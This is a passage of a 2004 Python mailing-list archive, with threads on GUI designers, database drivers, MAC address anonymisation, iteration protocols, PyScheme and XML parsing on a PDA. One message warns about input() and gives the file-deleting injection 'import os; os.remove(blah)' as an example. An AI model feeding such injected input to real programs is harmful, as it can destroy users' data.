hrs. a day for more than a month >>>| without a need to reboot. So for me it is adequate. >>>+--------------- >>> >>>*Only* a month?!? Here's the uptime for one of my FreeBSD boxes >>>[an old, slow '486]: >>> >>> % uptime >>> 2:44AM up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 0.00 >>> % >>> >>>That's over *20* months!! >> >>I bet we can measure the youngster's age by the uptimes he boasts. >>> >>> >>>-Rob >>> >>>p.s. I remember the time back in the early 70's (at Emory Univ.) when >>>we called DEC Field Service to complain that our PDP-10 had an uptime >>>of over a year. Why were we complaining? Well, that meant that DEC Field >>>Service had failed to perform scheduled preventive maintenance (which >>>usually involved at least one power cycle)... ;-} >> >>One? Had to be two. FS was supposed to use their service pack >>as the system disk, not the customers!!! I believe that was >>true even in 1970. The dangers of smushing bits was too great. > >But with a PM you had to do a cold start. All the disks had to be >spun down, filters changed, and they had to spin for an ungodly long >time after the filter change before heads could be enabled again. This >was to bring all the dust that was let loose in the process into the new >filters before heads went to fly over the platters again. That's why there was always two boots; one for FS to bring up thier service pack to run diags; the other one was when the system was handed back to the customer. > >Also power supplies had to be checked for the dreaded capacitor >problems. Tape drives also had these. This was industry-wide >problems; and news from a few burned UPS'es the last couple of >months tell me that the capacitor problems are still with us. > >It was a real accomplishment when we in 1988 could do a full >PM (Prime gear) without shutting down the system. All disks were >mirrored, and all power duplicated, so we shut down half of the >hardware and did PM on that; and took the other half next week. That's exactly what JMF's and TW's implementation of SMP gave the customer. Not only that but a catastrophic hardware failure no longer brought down the whole system. What was really amusing to me is that TW and JMF had no idea what they'ld created. The first time I told them that a system would never ever have to be rebooted, I grew two heads. OTOH, it was impossible to convince FS that a PM didn't have to be a system-wide PM. I don't think we ever got that change permutated throughout the org. > >SMD filters were used at a quite high rate; even inside well >filtered rooms. ISTR 6 months was a pretty long interval between PM's. Our FS liked to have PMs done weekly and then a major PM done monthly. I never had time to learn exactly what the procedures were. They were documented and laid out but I don't know what happened to that info. /BAH Subtract a hundred and four for e-mail. From ksenia at ksenia.nl Thu Sep 9 06:25:49 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Thu, 09 Sep 2004 13:25:49 +0300 Subject: Question: tools for business apps development In-Reply-To: <864d37090409081957306ecb59@mail.gmail.com> References: <mailman.2847.1094238878.5135.python-list@python.org> <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> <mailman.2980.1094568177.5135.python-list@python.org> <Xns955F1AEE4BA29JanC@213.118.38.197> <yMadnZ0Q_8qlJKLcRVn-gA@powergate.ca> <864d37090409081957306ecb59@mail.gmail.com> Message-ID: <9E9C46C0-024A-11D9-AF4C-000A957911BC@ksenia.nl> Op 9-sep-04 om 5:57 heeft Carlos Ribeiro het volgende geschreven: >> Suffice to say that while HTML+JavaScript can do the job, >> in principle, in practice it falls short and Flash is >> potentially a much more effective solution, at least for >> now and the near future. > > I understand that some people really like Flash. It's nifty and > powerful. And the CSS+HTML+JavaScript combination is slow, tricky, > confusing, complex, etc. -- it's just asking for a redesign, but there > is way too much code written for it to happen in any dramatic fashion. > However, Flash is not an open standard, and that's a big problem. Who > can guarantee that the upcoming versions of the Flash plugin will keep > the same interface? It's a risk that you have to take into account. > Agreed, Flash is not an open standard, and this is a concern. But I just want to remind, that if you are going to use JavaScript to code really responsive user interface - the big amount of this code will deal with non-standard IE (and even Mozilla and other browsers) DOM/CSS implementations and bugs... and it can be really frustrating if you love standards:) Here is a nice article about that (maybe a bit dated, but still...): http://evolt.org/article/Mission_Impossible_mouse_position/17/23335/ Ksenia. From python at rcn.com Wed Sep 1 15:18:01 2004 From: python at rcn.com (Raymond Hettinger) Date: 1 Sep 2004 12:18:01 -0700 Subject: Give * operator "deep copy" References: <f8097096.0408311154.ae06a5b@posting.google.com> <mailman.2704.1094000100.5135.python-list@python.org> Message-ID: <5d83790c.0409011118.b852919@posting.google.com> [Terry Reedy] > 3. the mistake of taking 'container' too literally. Tuples and lists are > like rosters, not rooms. A student can only be in one room (at a time) but > can simultaneously be on the roster of multiples classes and clubs. If, > for example, a student gets an honor, then every class and club > 'containing' that student now 'contains' an honored member. What rosters > actually contain are some sort of identifier for each student, not the > students themselves. This is an excellent metaphor. I vote the second line as the QOTW. Raymond From benji at benjiyork.com Thu Sep 23 23:19:09 2004 From: benji at benjiyork.com (Benji York) Date: 23 Sep 2004 20:19:09 -0700 Subject: Access to MS SQL from Linux? References: <F1921F85572CB04D9F55B14BDC76B3E4434AA9@iron.ima.umn.edu> <mailman.3767.1095930522.5135.python-list@python.org> Message-ID: <c45e6536.0409231919.1e4f17b6@posting.google.com> There is a very cool project called ODBTP (Open DataBase Transport Protocol) at http://odbtp.sourceforge.net. It consists of a service that runs on a Windows server and connects to any ODBC data source available on that machine. You then use the ODBTP client to connect to the service and send SQL commands and retrieve the results. It's written in C and it includes a PHP module, but I've developed Python bindings for it (following the DB API 2.0). I've been trying to contact the project leader to see if he would like to add it to the project, but haven't been successfull yet. If you're interested I'll email you a copy (it's LGPL). If there is more general interest, I'll distribute it more widely. -- Benji York benji at benjiyork.com From grante at visi.com Mon Sep 20 23:37:16 2004 From: grante at visi.com (Grant Edwards) Date: 21 Sep 2004 03:37:16 GMT Subject: MAC address References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <mailman.3553.1095679406.5135.python-list@python.org> <414efed5$0$60631$a1866201@newsreader.visi.com> <mailman.3613.1095723708.5135.python-list@python.org> <414f7c66$0$60638$a1866201@newsreader.visi.com> <mailman.3616.1095729288.5135.python-list@python.org> Message-ID: <414fa1ec$0$63273$a1866201@newsreader.visi.com> On 2004-09-21, Ajay <abra9823 at mail.usyd.edu.au> wrote: >> How are you going to avoid collisions? I suppose it's a >> sufficiently slim probability you can just ignore it. >> >>> also, is there an alternative way to anonymize a client? >> >> Not really, but how could your MAC address be traced to you, >> anyway? > > i suppose i should clarify again that the question is not in > the context of the Internet but a wireless LAN. Right. > within a LAN, if i were to open a socket connection with a > server and send some data to it, the server would be able to > pick up my MAC and IP address. If the server is on the same LAN, yes. If it's on the other side of a router or firewall, no. That said, once the server has your MAC, what's it going to do with it? Is there some way to trace that MAC to your name, address, and phone number? > so what i want to do is to anonymize the MAC by picking a > random (but valid) MAC address and using that. after that i > will anonymize the IP. Strictly speaking, the only MAC that is "valid" according to the IEEE spec is the one the manufacturer put into it. However, as long as you pick a MAC address that's not one of the special ones (broadcast or multicast addresses), you can probably just pick one at random. -- Grant Edwards grante Yow! A can of ASPARAGUS, at 73 pigeons, some LIVE ammo, visi.com and a FROZEN DAQUIRI!! From nicklaforge at gmail.com Wed Sep 1 00:56:38 2004 From: nicklaforge at gmail.com (Nick LaForge) Date: Tue, 31 Aug 2004 21:56:38 -0700 Subject: GUI Designer In-Reply-To: <1fc0d98004083121552be79d02@mail.gmail.com> References: <wU0Zc.9845$7i2.529166@news20.bellglobal.com> <yKadnRd9LtSYNancRVn-vQ@comcast.com> <87n00azme5.fsf@nezumi.home.spb> <1fc0d98004083121552be79d02@mail.gmail.com> Message-ID: <1fc0d98004083121566aa43cad@mail.gmail.com> If you like GTK+, you might want to try the glade designer and parse the XML file with libglade and pygtk. (Generated code is bad) Remember, glade generates XML. XML is not code, XML is data. And data is not code. As long as you stay away from generated code, you will be safe. Yup, the best of two worlds -- a graphical form designer that stores information in XML data to be parsed by your own python program. On Wed, 01 Sep 2004 07:41:22 +0400, Eugene Morozov <kaede.news at online.ru> wrote: > Doug Holton <insert at spam.here> writes: > > > A.M wrote: > >> Hi, > >> Do we have any OpenSource GUI designer for Python ? > > > > It depends on whether you are running Windows or Linux/Mac, and what > > GUI toolkit you want to use (wxpython, qt, gtk, tkinter, > > windows.forms, etc.). > > > > If you are on Linux, a good GUI builder you might try is QT > > Designer. There is a Windows version, too, but you only use it for > > non-commercial development. See http://developers.coedit.net/QtKde > > > > I think that Qt Designer is not the best choice. For > example if you want to add widget in already designed > layout, you'll have to break all layouts first and > start packing widgets from scratch. > Eugene > > -- > Email: eugene @ renice.org > > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Nick LaForge Mystic0 -- Nick LaForge Mystic0 From FBatista at uniFON.com.ar Fri Sep 10 17:08:13 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Fri, 10 Sep 2004 18:08:13 -0300 Subject: dictionaries Message-ID: <A128D751272CD411BC9200508BC2194D053C7939@escpl.tcp.com.ar> [Steven Bethard] #- Right idea, wrong type. From the docs at: #- #- http://docs.python.org/lib/built-in-funcs.html #- #- ] input( [prompt]) #- ] #- ] Equivalent to eval(raw_input(prompt)). #- #- This means that when you use input, it will convert the "1" #- typed at the #- prompt to the integer 1. So your code should either be: #- #- >>> d = {1:function1, 2:function2} #- >>> x = input("1 or 2? ") #- 1 or 2? 1 #- >>> d[x]() #- function1 #- >>> Be aware of the serious security issue here! If the user instead of insert "1", inserts "import os; os.remove(blah)"? . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040910/b702a001/attachment.html> From just at xs4all.nl Tue Sep 7 03:49:16 2004 From: just at xs4all.nl (Just) Date: Tue, 07 Sep 2004 09:49:16 +0200 Subject: docs on for-loop with no __iter__? References: <mailman.2873.1094321890.5135.python-list@python.org> <bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net> <mailman.2879.1094332737.5135.python-list@python.org> <Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net> <mailman.2883.1094340967.5135.python-list@python.org> <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> <mailman.2913.1094451430.5135.python-list@python.org> <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com> <mailman.2944.1094506599.5135.python-list@python.org> <1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com> <mailman.2955.1094538759.5135.python-list@python.org> <1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com> <mailman.2962.1094543082.5135.python-list@python.org> Message-ID: <just-16DEDB.09491607092004@news1.news.xs4all.nl> In article <mailman.2962.1094543082.5135.python-list at python.org>, Steven Bethard <steven.bethard at gmail.com> wrote: > It would have made describing the protocol somewhat more complex, but it > would > have made using the protocol in a class simpler. Moot point of course, since > I'm fully convinced that changing the protocol is infeasible. =) Why on earth would you want to improve a protocol that's only there for legacy reasons, and has been replaced by something vastly better? Just From hubert at cs.nyu.edu Fri Sep 17 01:15:18 2004 From: hubert at cs.nyu.edu (Hubert Hung-Hsien Chang) Date: 16 Sep 2004 22:15:18 -0700 Subject: Question: processing HTML, re-write default processing action of many tags Message-ID: <98ba0902.0409162115.3e2e9ee9@posting.google.com> I know you could use the def start_a .... def end_a .... to process the <a href=...> anchor </a> tags, but is there a default method for processing ALL tags? If I just want change some parts of the hyperlink and want to keep other parts of the HTML could I just print them out? There should be such a method. Can't find it... Thank you. From googlemike at hotpop.com Thu Sep 2 11:15:49 2004 From: googlemike at hotpop.com (Google Mike) Date: 2 Sep 2004 08:15:49 -0700 Subject: How do I set gtk.RadioButton font? References: <25d8d6a8.0409011639.13f62d65@posting.google.com> <1094119810.190914@athnrd02> Message-ID: <25d8d6a8.0409020715.c21b059@posting.google.com> Nikos Kouremenos <nk at ebox.gr> wrote in message > GLADE XML is better (especially for such stuff) > just enable the USE_MARKUP and then right in the "text" > <small>YOU_TEXT</small> > > here is a label of a quick label I clicked in GLADE, and glade wrote this: > > <widget class="GtkLabel" id="label33"> > <property name="visible">True</property> > <property name="label" translatable="yes"><span > background="lightgreen"><big>Welcome</big></span> > <small><span background="white">If you change the > settings don't forget to Save &amp; Activate in a > Profile!</span></small> > </property> > <property name="use_underline">False</property> > <property name="use_markup">True</property> > <property name="justify">GTK_JUSTIFY_CENTER</property> > <property name="wrap">False</property> > <property name="selectable">False</property> > <property name="xalign">0.5</property> > <property name="yalign">0.5</property> > <property name="xpad">0</property> > <property name="ypad">0</property> > </widget> Unfortunately this has no effect on a radiobutton item. From steve at holdenweb.com Mon Sep 27 09:50:37 2004 From: steve at holdenweb.com (Steve Holden) Date: Mon, 27 Sep 2004 09:50:37 -0400 Subject: Psycopg; How to detect row locking? In-Reply-To: <415811D2.7070408@magproductions.nl> References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl> <m3y8iv3npy.fsf@g2ctech.com> <415811D2.7070408@magproductions.nl> Message-ID: <lYU5d.804$TY2.351@lakeread04> Alban Hertroys wrote: > Jorge Godoy wrote: > >> Are you manually locking those rows? If so, you can maintain some >> structure to keep track of locked rows. > > > No, I don't. That may be a solution, though. Then at least I *know* when > a record is locked... But it's going to complicate things, if the > transaction is split among multiple threads... I'm not looking forward > to that. > > I think the rows are locked because the inserts haven't finished > inserting yet. The select takes place in the same session AFAIK, but not > in the same thread of my Python application. I'm probably looking at a > race condition here... (Ain't multithreading fun...) > > I'm also not sure whether I'm actually looking at the same transaction. > Is there a way to verify such? > If all threads are using the same database connection then you need to make sure that psycopg is thread-safe, which some database modules are and some aren't. > I do know for certain that all transactions use the same database > connection (I pass it along in a context object, together with config > settings and debugging methods). And I'm also quite sure that it doesn't > commit in between. > If all threads are using the same database connection, even if you create multiple cursors, then you shouldn't have any locking issues because all threads are part of the same transaction. >> If you are not locking, PostgreSQL uses MVCC where it locks as little as >> possible and you are able to select the new data inside the same >> transaction and old data outside of it (until it is commited). > > > I suppose there must be a short while where the row is locked during the > insert, where I may already be trying to select it. If this is indeed > the case, I would expect to receive a "row is locked" type of error. > This will perhaps depend on the isolation level you've selected. I'm sorry, I'm not a PostgreSQL user so I don't know the detail of what's available, but in many databases you can determine whether transactional changes are visible from other connections. > Alternatively, the select may be waiting (w/in psql) until the insert > finished (which should be pretty soon in all cases[*]), but that depends > on implementations beyond my reach. Not that that matters, I shouldn't > have this problem in that case. > > > [*] Unless you break your database with triggers that lock up or > something similar. That could be a reason for the PostgreSQL team to not > let select wait until an insert on the same row finished, but to return > an error instead. regards Steve From carribeiro at gmail.com Wed Sep 22 21:32:36 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 22 Sep 2004 22:32:36 -0300 Subject: python is going to die! =( In-Reply-To: <m3pt4eqbp0.fsf@g2ctech.com> References: <mailman.3520.1095631846.5135.python-list@python.org> <10ksur1ou8hb777@corp.supernews.com> <2rafspF17n18jU1@uni-berlin.de> <0f71l09s44fu9rtg6lrte3qeicgu40off1@4ax.com> <cismee$9q9$1@nemesis.news.tpi.pl> <m3pt4eqbp0.fsf@g2ctech.com> Message-ID: <864d3709040922183217afb3a9@mail.gmail.com> On Wed, 22 Sep 2004 17:40:43 -0300, Jorge Godoy <godoy at ieee.org> wrote: > [about data aware components for Delphi] > What are you using to replace those in your wxPython apps? I really > don't know them and I am not being able to help him with that. TTable and TQuery equivalents are really not needed for Python "per se". DBAPI 2.0 (even incomplete) and libraries such as sqlobject blow TDataset and related classes away for almost anything that I can imagine -- unless, of course, it's something that has to work wit data aware editing components. These are still to be matched. I've been studying Dabo (it was announced in this list, you can check it at http://dabodev.com), and they are working on a framework that in some ways resembles something that can be done with Delphi, but their approach is different. Report generation is also problematic -- the last time I've checked a couple of years ago, ReportLab couldn't be considered to be on par with Delphi's report libraries, but I don't about the situation now. > I've seen, though, the wxODBC family but he always tells me that there > are several penalties in performance for not using the native drivers in > critical applications... What is your opinion about it? Passing over layers and layers of abstraction before getting to the database is always going to impose a performance hit. ODBC is also known to be very bad in this respect, at least in the Windows world, and as far as I know, nobody likes to use it unless absolutely needed for compatibility reasons. I never made any benchmark, but I *suspect* that Python DB code can be surprisingly efficient when compared to Delphi code. Delphi DB library is very well implemented, but Python may have an edge when it comes to manipulation of large in memory structures; not that Delphi can't do it, but because Python libraries are already highly optimized. If one writes "pythonic" code -- taking advantage of stuff that Python does well, such as list and mapping manipulation, then the performance gain can be significant. On the other hand, if someone tries to write code in Python that reads and works just like Delphi's code, then the performance will suffer. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From brian at rk-speed-rugby.dk Thu Sep 9 02:46:35 2004 From: brian at rk-speed-rugby.dk (Brian Elmegaard) Date: 09 Sep 2004 08:46:35 +0200 Subject: ghostscript References: <a1301a8e.0409071007.14ea6f5e@posting.google.com> Message-ID: <uy8jkndmc.fsf@rk-speed-rugby.dk> cjankowski at hbr-inc.com (Chris Jankowski) writes: > os.system(ghost_dir + ' -dNOPAUSE -dQUIET -sBATCH -sDEVICE=%s > -sOUTPUTFILE=% s/page%%d.%s %s' % (device, outputdir,suffix, > pdffile)) What about os.system('copy '+) ? -- Brian (remove the sport for mail) http://www.et.dtu.dk/staff/be From vze4rx4y at verizon.net Fri Sep 24 00:47:20 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Fri, 24 Sep 2004 04:47:20 GMT Subject: for_some(),for_all()? References: <opseqmpvg86yt6e7@news.cisco.com><cisc33$hpi$1@pegasus.csx.cam.ac.uk> <2Pt4d.5569$sa.1897@trndny05> <mailman.3792.1095959172.5135.python-list@python.org> Message-ID: <sFN4d.7212$sa.2016@trndny05> > > For pure speed, the following is faster and gives short-circuit behavior: > > > > >>> from itertools import ifilter > > >>> def any(seq, pred=None): > > ... for elem in ifilter(pred, seq): > > ... return True > > ... return False [Steven Bethard] > So, the other one also has short-circuit behavior: Right. It was the reduce(operator.__or__) version that didn't short-circuit. > >>> def any(seq, pred=bool): > ... return True in imap(pred, seq) > ... > >>> def pred(x): > ... return x > 3 > ... > >>> i = iter(range(10)) > >>> any(i, pred) > True > >>> list(i) > [5, 6, 7, 8, 9] > > Could you explain what makes the second one faster? I'm guessing it's > something like that comparing True to each element in the iterable costs more > than binding each element in the iterable to elem...? Close. The imap() version has two layers of iteration: for elem in seq: yield pred(elem) for elem in imapresults: if elem == True: return True return False The ifilter() version has only one layer: for elem in seq: if pred(elem): yield elem Note, it make look like there is an outer layer in the ifilter() version, but closer inspection shows that it never runs more than one iteration: for elem in ifilterresults: return True # because this returns, the for never loops back return False Raymond Hettinger From tim.golden at viacom-outdoor.co.uk Tue Sep 14 04:33:26 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: 14 Sep 2004 01:33:26 -0700 Subject: List domains on a windows network? References: <ed7f588b.0409081938.4634c05c@posting.google.com> Message-ID: <8360efcd.0409140033.656217e4@posting.google.com> jakasspinguino at hotmail.com (Jason) wrote in message news:<ed7f588b.0409081938.4634c05c at posting.google.com>... > Hi, > > I'm looking for a way to enumerate the domains within my network. I > can find functions within the win32net library to enumerate computers > within a given domain, but is there a way I can get a list of the > domains themselves? > > Thanks, > Jason You've probably found this out by now, but the following code should do the business: <code> import win32com.client for domain in win32com.client.GetObject ("WinNT:"): print domain.Name </code> TJG From thorsten at thorstenkampe.de Thu Sep 16 04:10:18 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Thu, 16 Sep 2004 10:10:18 +0200 Subject: Overview of competing Python modules? Message-ID: <111j51ljz6sur$.dlg@thorstenkampe.de> Has anyone ever compiled an overview of competing Python modules? Something like "there's the standard cvs module and the one from pycvs.sourceforge.net but most people use cvs (or pycvs) because it's <whatever>". I'm particularly interested in competing modules for: * CVS formatted files * XML formatted files * Database connectors to MySQL, PostgreSQL, Sybase, MSSQL and ODBC Thanks, Thorsten From Scott.Daniels at Acm.Org Sun Sep 12 15:46:40 2004 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Sun, 12 Sep 2004 12:46:40 -0700 Subject: Binding? problem In-Reply-To: <cht54g0jhl@enews1.newsguy.com> References: <cht54g0jhl@enews1.newsguy.com> Message-ID: <4144ac84$1@nntp0.pdx.net> Josh English wrote: > I'm working on a Stack based language that can import methods from > predefined libraries. Here's what I mean.... > Tell us more about the problem you are trying to solve. Normally you'd do this on classes. Why doesn't this work?: class S(object): def __init__(self, value): self.value = value def __repr__(self): return '%s(%r)' % (self.__class__.__name__, self.value) class Mixin_do_this(object): def do_this(self): self.s.value = 'this' class Runner(object): def __init__(self): self.s = S('whock') def __repr__(self): # self.s below, not self.S return '<%s %s>' % (self.__class__.__name__, self.s) class Runner2(Runner, Mixin_do_this): pass r2 = Runner2() print r2 r2.do_this() print r2 -Scott David Daniels Scott.Daniels at Acm.Org From russblau at hotmail.com Fri Sep 10 16:43:05 2004 From: russblau at hotmail.com (Russell Blau) Date: Fri, 10 Sep 2004 16:43:05 -0400 Subject: Nested class structures References: <Xns95607B54E1208OKB@130.133.1.4> Message-ID: <2qehuqFub978U1@uni-berlin.de> "OKB (not okblacke)" <BrenBarn at aol.com> wrote in message news:Xns95607B54E1208OKB at 130.133.1.4... > For a variety of reasons, I'm interested in putting together some > code that will allow me to created structures out of nested classes, > something like: > > class class1: > def methA(self): > print "Some code here" > class class2: > propA = "A" > def methB(self): > print "Some more code here" > class class3: > # etc. > class class4: > pass > #etc > > The main problem is that Python does not seem to provide enough > information about the lexical context of definitions like this. In > particular, I would like the ability to have some of the nested classes > be "anonymous" -- that is, I don't want to have to worry about choosing > identifiers for them. I'd LIKE to do this: > > class class1: > class anon: pass > class anon: pass > class anon: pass > > . . . and somehow intercept or monitor the name-binding that's > going on there so I wind up with three separate classes which are bound > to uniquely named attributes of class1. But I can't do this because > each anon stomps on the previous name binding, and there doesn't seem to > be a way to intervene and bind a new attribute in class1, because class1 > isn't really created until after all the nested class definitions > happen. I don't really understand what it is you are trying to do, but... you can create an "anonymous" class object with: type("anon", (object,), {}) This returns an object that is functionally identical to the object created by: class anon(object): pass Of course, you'll need to store the returned object somewhere to do anything useful with it. -- I don't actually read my hotmail account, but you can replace hotmail with excite if you really want to reach me. From alanmk at hotmail.com Sun Sep 5 09:02:04 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Sun, 05 Sep 2004 14:02:04 +0100 Subject: python from Java In-Reply-To: <mailman.2892.1094385321.5135.python-list@python.org> References: <mailman.2887.1094353612.5135.python-list@python.org> <YIC_c.26633$Z14.8564@news.indigo.ie> <mailman.2892.1094385321.5135.python-list@python.org> Message-ID: <H2E_c.26646$Z14.8654@news.indigo.ie> [Ajay ] >>>can you call a Python application from a Java program? [Alan Kennedy] >>Define what you mean by "call a python application". [Ajay] > they are on the same machine. > basically there is an application that does some user modelling and its in > Python. the application (bunch of .py scripts) have an interface that you > use to access user models. OK, so you have a cpython application which is already running on your PDA. Presumably this "interface" you mention is a graphical interface, i.e. GUI? What graphics toolkit is this GUI written with? TkInter? > the java app will simply do some xml stuff at the end of which it will > access the user model through the interface. OK, so you want to process your (P3P?) xml files in java, which will extract data and then use that to somehow drive your cpython application? > basically what i'd like to know is if i have > #test.py > def foo(blah): > return blah += 5 OK, doing the above would be easy, if you could run jython on your PDA. You would just use jython to interpret the function instead of cpython, and everything would live inside the same virtual machine, which would be nice and tidy. However, it's very likely that your PDA has J2ME, i.e. Java 2 Micro Edition, in which case you won't be able to run jython, which requires facilities that J2ME doesn't support namely reflection. If you PDA has any other version of java, you could run jython. But that wouldn't be any use to you in the case of your standalone cpython GUI application anyway, since it is pretty much guaranteed that the GUI code in your cpython code is cpython specific, and won't run on jython anyway. > can i call foo from a Java class? more importantly what would i need to > install on the machine to be able to do that. the machine in question is a > PDA so there are some limitations on what can be installed and made to run > on it. Python runs and so does Java. Assuming that my assumptions about cpython GUIs and J2ME are correct, here are some options you might consider. 1. Somehow drive your cpython GUI by having your java program generate the relevant UI events, e.g. generate mouse-clicks, key-presses, etc. This is a common GUI testing technique. A product that does this on Windows is "autoit". I don't know if this will work on your windows PDA: if not there are probably similar products. 2. Connect your apps using something like pyro or CORBA. Pyro "transports function/method calls" over a socket, from a server to a client, and then returns the results over the same socket. If your PDA supported J2ME, you could use a pyro server on the cpython end, talking to a client on java end. But without J2ME, you can't use pyro on the client end. Which leaves CORBA, which should be well supported on both ends, but a bit more difficult to get your head around: i.e. you'll have a learning curve to climb to get it working. If this approach interests you, google "fnorb" or "omniorb python". 3. If CORBA is too complex for you, roll your own "wire protocol", basically your own simple protocol to communicate between cpython and java. Using this trategy, open some form of communication channel between the two programs, e.g. socket, pipe, fifo, etc, and send commands/messages between the two ends. Having seen your posts here and on the Python-CE list over the last few days, I can see that this problem is proving complex for you. I would urge you to stop looking at every technology on your PDA and trying to figure out how to glue them together. I think you should focus on being able to process your XML in cpython, i.e. try to keep all your technology in the same language and in the same process. You're overly complicating it otherwise. I think the best solution for you is to use and event-based python parser to parse your XML. Event based-based parsing, e.g. SAX, is generally pretty quick, even when it is written in pure python. The slowness you have been experiencing (I saw 10 minutes for pxdom to parse your xml files?) is because you're trying to build a DOM, i.e. a Document Object Model. DOM's are *huge* memory hogs, requiring very substantial amounts of memory and cpu to build, and in most cases are completely unsuitable for the problem at hand. What you should consider is building your own object model, based on the events generated by your SAX parser. Although this sounds hard, it is actually extremely easy, as this ActiveState cookbook entry shows. http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/149368 There are also multiple cpython products which will build a python object model from XML events: all of these should be comparatively cpu and memory efficient. Objectify http://gnosis.cx/download/gnosis/xml/objectify Anobind http://uche.ogbuji.net/tech/4Suite/anobind/ ElementTree http://effbot.org/downloads/#elementtree Try out an approach like the one above: it will greatly simplify your life. And it should be reasonably efficient in execution time. If none of the above works for you, post back again. regards, -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From dyoo at hkn.eecs.berkeley.edu Tue Sep 7 21:11:49 2004 From: dyoo at hkn.eecs.berkeley.edu (Daniel Yoo) Date: Wed, 8 Sep 2004 01:11:49 +0000 (UTC) Subject: [ANNOUNCE] PyScheme 1.5 release Message-ID: <mailman.3016.1094615536.5135.python-announce-list@python.org> PyScheme is a small implementation of the Scheme programming language. The 1.5 release can be found here: http://hkn.eecs.berkeley.edu/~dyoo/python/pyscheme/ PyScheme is in pure Python, and has been written (somewhat) careful to try to avoid eating up too much of the stack, even if given unusual input. It provides some of the core features in Scheme: ### >>> import pyscheme.scheme >>> pyscheme.scheme.repl(pyscheme.scheme.AnalyzingInterpreter()) Welcome to PyScheme! Type: (QUIT) to quit. [PyScheme] >>> (define (map f l) [......1)] >>> (if (null? l) [......2)] >>> '() [......2)] >>> (cons (f (car l)) [......3)] >>> (map f (cdr l))))) ok [PyScheme] >>> (map (lambda (x) (* x x)) '(1 2 3 4 5 6 7 8 9 10)) (1 4 9 16 25 36 49 64 81 100) ### And it also includes CALL/CC. People can play around with continuations in the comfort of the Python interpreter: ### >>> from pyscheme.scheme import AnalyzingInterpreter >>> interp = AnalyzingInterpreter() >>> from pyscheme.parser import parse as p >>> interp.eval(p("(define k '())")) 'ok' >>> interp.eval(p(""" ... (+ 5 (call/cc (lambda (k1) (set! k k1) 0))) ... """)) 5 >>> interp.eval(p("(k 7)")) 12 ### I'll be giving a small presentation about PyScheme in the next Baypiggies meeting on Thursday, September 9th, and I'll put up the notes of that presentation online, as soon as I'm done writing them. *grin* I hope this helps! From benevilent at optusnet.com.au Sun Sep 19 14:28:45 2004 From: benevilent at optusnet.com.au (benevilent at optusnet.com.au) Date: Mon, 20 Sep 2004 04:28:45 +1000 Subject: memory allocation References: <pan.2004.09.19.11.21.21.129058@optusnet.com.au> Message-ID: <pan.2004.09.19.18.28.33.473150@optusnet.com.au> My latest understanding is that the default memory allocation will result in arenas being created to fulfill the maximum memory requirements of the program. If memory is freed, the program still occupies the amount of memory occupied by these arenas. If allocations can be fulfilled without creating new arenas, then no additional memory will be required. Hence as time goes by the memory required by the program increases (assuming increasing memory requirements of the application), and it will not dynamically expand and contract with the memory allocations/deallocations as you would expect with an ordinary program. Is my understanding of this correct? On Sun, 19 Sep 2004 21:21:21 +1000, benevilent at optusnet.com.au wrote: > Hey, > > I'm trying to debug the memory allocation in an embedded use of the > Python interpreter. > > The longer I leave my program running the more memory it consumes. The > total number of objects in the system is not increasing (many are being > allocated and deallocated). > > Using mtrace I have established that the only memory which is not being > freed is that which is allocated at Objects/obmalloc.c:429. It appears to > be allocating new arenas in proportion to it's running time. > > I don't have an in-depth understanding of Python's object allocator. Does > anybody have any ideas as to what the problem may be? > > Thanks, > Laurie From aleaxit at yahoo.com Wed Sep 8 11:42:53 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 17:42:53 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <mailman.2838.1094223946.5135.python-list@python.org> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> <CBB882B2-FF60-11D8-A6A1-000A95EFAE9E@yahoo.com> <mailman.2907.1094416926.5135.python-list@python.org> <1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com> <Jvo%c.214562$OR2.9955162@news3.tin.it> <mailman.3002.1094600560.5135.python-list@python.org> <1gjsc88.1ufkzncvrngdN%aleaxit@yahoo.com> <mailman.3032.1094650922.5135.python-list@python.org> Message-ID: <1gjt1ki.147l15b1p08xehN%aleaxit@yahoo.com> Carlos Ribeiro <carribeiro at gmail.com> wrote: ... > I'm thinking. Let me put it out this way: how can one "typecast" a > generator? It seems to be conceptually different from "typecasting" an > expression, a function, or variable, or a constant value. Hmmm, OK, I guess, though I guess I still don't get it. > After some pondering, I think I can rephrase my statement as: > > "Extending your reasoning a little bit, list(anything) smells a > typecast -- something that's used to convert a VALUE of one type into > a VALUE of another type". > > I prefer value in this context because the typecast really converts > the value returned by the expression to another type. Did it sound > right now? It sounds perfect, except that for maximum clarity I would phrase it as "make a new VALUE of one type from some VALUE of another (or the same) type". At least, that's how 